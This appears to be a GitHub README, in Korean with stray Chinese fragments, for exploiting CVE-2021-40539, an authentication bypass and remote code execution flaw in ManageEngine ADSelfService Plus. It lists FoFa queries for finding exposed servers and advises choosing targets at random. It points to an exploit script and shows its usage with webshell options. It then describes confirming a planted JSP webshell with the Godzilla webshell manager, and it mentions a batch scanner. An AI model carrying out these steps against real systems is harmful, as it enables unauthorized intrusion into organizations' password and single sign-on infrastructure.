lpyydxs/cve-2021-40539CVE-2021-40539：ADSelfService Plus RCE 취약점
CVE-2021-40539：ADSelfService Plus RCE 취약점 1: 취약점 설명 ZOHO ManageEngine ADSelfService Plus는 ZOHO사의 Active Directory 및 클라우드 애플리케이션을 위한 통합 셀프 서비스 비밀번호 관리 및 싱글 사인온 솔루션입니다. CVE-2021-40539 Zoho ManageEngine ADSelfService Plus 6113 및 이전 버전에는 REST API 인증 우회 취약점이 존재합니다. 원격 공격자는 이 취약점을 이용하여 영향을 받는 시스템을 제어할 수 있습니다. 해당 취약점의 CVSS 점수: 9.33, 위험 등급: 심각
2: 취약점 악용 단계 1: FoFa 구문 검색
# Fofa搜索语法
"ADSelfService"
app="ZOHO-ManageEngine-ADSelfService"
header="JSESSIONIDADSSP" //推荐
단계 2: 무작위로 대상을 찾고 다음 탐지 스크립트를 사용하여 취약점 테스트를 수행합니다....
https://github.com/synacktiv/CVE-2021-40539/blob/main/exploit.py
使用方式：
C:\Users\26629\Desktop\CVE-2021-40539-main>python39 exploit.py
usage: exploit.py [-h] -t TARGET [-w WEBSHELL] [-j JAVA_CLASS] [-s]
exploit.py: error: the following arguments are required: -t/--target
단계 3: 哥斯拉 링크를 사용하여 검증 테스트를 수행.... https://ip/help/admin-guide/test.jsp
제가 업로드한 것은 배치 탐지 스크립트입니다. 여러분은 다운로드하여 계속 개선할 수 있습니다.